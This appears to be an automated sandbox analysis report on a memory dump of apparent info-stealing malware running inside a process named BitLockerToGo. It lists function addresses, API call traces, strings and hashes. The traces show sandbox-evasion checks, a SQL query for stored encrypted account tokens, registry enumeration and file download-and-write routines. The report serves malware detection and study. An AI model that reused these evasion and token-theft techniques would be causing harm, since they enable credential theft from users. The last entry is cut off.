String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: c84c148fdde0ea9ff4d29fa9332fce34f1734a42368ed538b146d571a23109b6
Instruction ID: c13838f5ddfbd8bf7edfbcf545a4b71a6612613e5ac2154c733edfbb1831d1c1
Opcode Fuzzy Hash: c84c148fdde0ea9ff4d29fa9332fce34f1734a42368ed538b146d571a23109b6
Instruction Fuzzy Hash: B241B3B1D04258ABDB11DF98DC48BFEBBB8EF08754F000198E90977280D7796A44CFA5

Function 02768100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,029E6088,00000000,?,02770E2C,00000000,?,00000000), ref: 02768130
RtlAllocateHeap.NTDLL(00000000), ref: 02768137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 02768158
__aulldiv.LIBCMT ref: 02768172
__aulldiv.LIBCMT ref: 02768180
wsprintfA.USER32 ref: 027681AC

Strings

%d MB, xrefs: 027681A3
@, xrefs: 0276814D

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 4546f85c5c4fbdb7aa5cacd043252546e3ac25627a1f737ac54b66f3434b7677
Instruction ID: 7b6d8ae4a8147462b332107341804eb22fc7512366e15d5d6fbd07c89957523f
Opcode Fuzzy Hash: 4546f85c5c4fbdb7aa5cacd043252546e3ac25627a1f737ac54b66f3434b7677
Instruction Fuzzy Hash: 46214DB1E44218ABEB14DFD5CC49FBEB7B9FB44B10F104509F605BB280D77959048BA5

Function 027560A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 027547EA
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754801
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754818
Part of subcall function 027547B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02754839
Part of subcall function 027547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 02754849

InternetOpenA.WININET(02770DF7,00000001,00000000,00000000,00000000), ref: 0275610F
StrCmpCA.SHLWAPI(?,029E4B88), ref: 02756147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0275618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 027561B3
InternetReadFile.WININET(02762B61,?,00000400,?), ref: 027561DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0275620A
CloseHandle.KERNEL32(?,?,00000400), ref: 02756249
InternetCloseHandle.WININET(02762B61), ref: 02756253
InternetCloseHandle.WININET(00000000), ref: 02756260

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: 9f8915a267693a9fe19fa843e391c190483bf8a793cc0f18693ff825a6c31195
Instruction ID: 231b73210088f7a7704f51353f954d7f9f37484393bf1ae59002a69b53fb0811
Opcode Fuzzy Hash: 9f8915a267693a9fe19fa843e391c190483bf8a793cc0f18693ff825a6c31195
Instruction Fuzzy Hash: 975190B0E40218ABDF20DF54CC49BFEB7B9EB04305F408498AA05B71C0DBB56A85CF94

Function 027670D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 027670DE

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

OpenProcess.KERNEL32(001FFFFF,00000000,0276730D,027705BD), ref: 0276711C
memset.MSVCRT ref: 0276716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 027672BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0276718C

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 8d1283f3c0cfada752ac2f9d44e417aa08e351bd42b39b62292494100a8c1717
Instruction ID: 4b08ef09d4ce2a6040401088c308fce386b9115e72554ebd1c70315c65c181d2
Opcode Fuzzy Hash: 8d1283f3c0cfada752ac2f9d44e417aa08e351bd42b39b62292494100a8c1717
Instruction Fuzzy Hash: 2F514DB0D002199FDB19EB90DC99BFEF775EF44304F1441A9EA1576180EB746A88CF64

Function 0275BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 02759E10: memcmp.MSVCRT(?,v20,00000003), ref: 02759E2D

lstrlen.KERNEL32(00000000), ref: 0275BC9F

Part of subcall function 02768E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 02768E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0275BCCD
lstrlen.KERNEL32(00000000), ref: 0275BDA5
lstrlen.KERNEL32(00000000), ref: 0275BDB9

Strings

AccountTokens, xrefs: 0275BB49
AccountTokens, xrefs: 0275BABA
AccountId, xrefs: 0275BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0275BBEB

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: ff0f64244f78f3de61e8d56032d69fe369d92a0f8a653823d11d6894baae674e
Instruction ID: 2811ef6009aaadace5cf4b65ab928663465a1dbf0a9ecda6fe7a055da6297bbd
Opcode Fuzzy Hash: ff0f64244f78f3de61e8d56032d69fe369d92a0f8a653823d11d6894baae674e
Instruction Fuzzy Hash: C8B14F719102189BDF06FBA4CD9DEFEB37AAF54300F504569E906B6190EF346A49CFA0

Function 02754FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 02754FCA
RtlAllocateHeap.NTDLL(00000000), ref: 02754FD1
InternetOpenA.WININET(02770DDF,00000000,00000000,00000000,00000000), ref: 02754FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 02755011
InternetReadFile.WININET(02765EDB,?,00000400,00000000), ref: 02755041
memcpy.MSVCRT(00000000,?,00000001), ref: 0275508A
InternetCloseHandle.WININET(02765EDB), ref: 027550B9
InternetCloseHandle.WININET(?), ref: 027550C6

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: fe957471f34202ab0f34f131b2ea1cd38dff538baf56da540f9568ab04862220
Instruction ID: 12ae0d05e7689dfdc17f5395366d5a6aec7cedda13d80be813245c16e1d98f52
Opcode Fuzzy Hash: fe957471f34202ab0f34f131b2ea1cd38dff538baf56da540f9568ab04862220
Instruction Fuzzy Hash: 3C310AB4E40218ABDB20CF54DC89BDCB7B4EB48704F5085D9EA09A7280C7756AC58F98

Function 027669F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D32B0), ref: 027698A1
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D32C8), ref: 027698BA
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D32E0), ref: 027698D2
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D32F8), ref: 027698EA
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D3310), ref: 02769903
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D3328), ref: 0276991B
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D4328), ref: 02769933
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D4348), ref: 0276994C
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D3338), ref: 02769964
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D4368), ref: 0276997C
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D4380), ref: 02769995
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D04B0), ref: 027699AD
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D04C8), ref: 027699C5
Part of subcall function 02769860: GetProcAddress.KERNEL32(74DD0000,029D7398), ref: 027699DE

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 027511D0: CreateDCA.GDI32(029D0598,00000000,00000000,00000000), ref: 027511E2
Part of subcall function 027511D0: GetDeviceCaps.GDI32(?,0000000A), ref: 027511F1
Part of subcall function 027511D0: ReleaseDC.USER32(00000000,?), ref: 02751200
Part of subcall function 027511D0: ExitProcess.KERNEL32 ref: 02751211

Part of subcall function 02751160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,02766A17,02770AEF), ref: 0275116A
Part of subcall function 02751160: ExitProcess.KERNEL32 ref: 0275117E

Part of subcall function 02751110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,02766A1C), ref: 0275112B
Part of subcall function 02751110: VirtualAllocExNuma.KERNEL32(00000000,?,?,02766A1C), ref: 02751132
Part of subcall function 02751110: ExitProcess.KERNEL32 ref: 02751143

Part of subcall function 02751220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0275123E
Part of subcall function 02751220: __aulldiv.LIBCMT ref: 02751258
Part of subcall function 02751220: __aulldiv.LIBCMT ref: 02751266
Part of subcall function 02751220: ExitProcess.KERNEL32 ref: 02751294

Part of subcall function 02766770: GetUserDefaultLangID.KERNEL32(?,?,02766A26,02770AEF), ref: 02766774

GetUserDefaultLCID.KERNEL32 ref: 02766A26

Part of subcall function 02751190: ExitProcess.KERNEL32 ref: 027511C6

Part of subcall function 02767850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,027511B7), ref: 02767880
Part of subcall function 02767850: RtlAllocateHeap.NTDLL(00000000), ref: 02767887
Part of subcall function 02767850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0276789F

Part of subcall function 027678E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,02766A2B), ref: 02767910
Part of subcall function 027678E0: RtlAllocateHeap.NTDLL(00000000), ref: 02767917
Part of subcall function 027678E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0276792F

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,029D0578,?,0277110C,?,00000000,?,02771110,?,00000000,02770AEF), ref: 02766ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02766AE8
CloseHandle.KERNEL32(00000000), ref: 02766AF9
Sleep.KERNEL32(00001770), ref: 02766B04
CloseHandle.KERNEL32(?,00000000,?,029D0578,?,0277110C,?,00000000,?,02771110,?,00000000,02770AEF), ref: 02766B1A
ExitProcess.KERNEL32 ref: 02766B22

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$Userlstrcpy$AllocateCloseCreateDefaultEventHandleName__aulldiv$AllocCapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1606067472-0
Opcode ID: f06d1f8525bbd24ab67317016f0ff65000fd6a0db61c5db719dd26e9f7ffb46a
Instruction ID: 07fbae0748b23da44739a2e63126a225962ebe2e647b6d1346628b3a07b75e53
Opcode Fuzzy Hash: f06d1f8525bbd24ab67317016f0ff65000fd6a0db61c5db719dd26e9f7ffb46a
Instruction Fuzzy Hash: F2311A71D44209AADB06FBF0D85EBFEB77AEF04340F904528E912B6180DF756905CEA5

Function 027683DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 02768426
wsprintfA.USER32 ref: 02768459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0276847B
RegCloseKey.ADVAPI32(00000000), ref: 0276848C
RegCloseKey.ADVAPI32(00000000), ref: 02768499

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

RegQueryValueExA.KERNEL32(00000000,029E5C08,00000000,000F003F,?,00000400), ref: 027684EC
lstrlen.KERNEL32(?), ref: 02768501
RegQueryValueExA.KERNEL32(00000000,029E5A40,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,02770B34), ref: 02768599
RegCloseKey.KERNEL32(00000000), ref: 02768608
RegCloseKey.ADVAPI32(00000000), ref: 0276861A

Strings

%s\%s, xrefs: 0276844D

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2025ecaa53935994f1c9e750d4bd1e030fec435baba7dcba14eaf0338ec0f8f0
Instruction ID: e94f2042129039b8b8044caa7335f4bfcfc26b2b28b000447b15d13b087b3660
Opcode Fuzzy Hash: 2025ecaa53935994f1c9e750d4bd1e030fec435baba7dcba14eaf0338ec0f8f0
Instruction Fuzzy Hash: FA21E9B1954218ABDB24DF54DC89FE9B7B8FB48710F00C5D8E609A6140DF716A85CFD4

Function 027547B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 027547EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754818
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02754839
InternetCrackUrlA.WININET(00000000,00000000), ref: 02754849

Strings

<, xrefs: 027547C9

Memory Dump Source

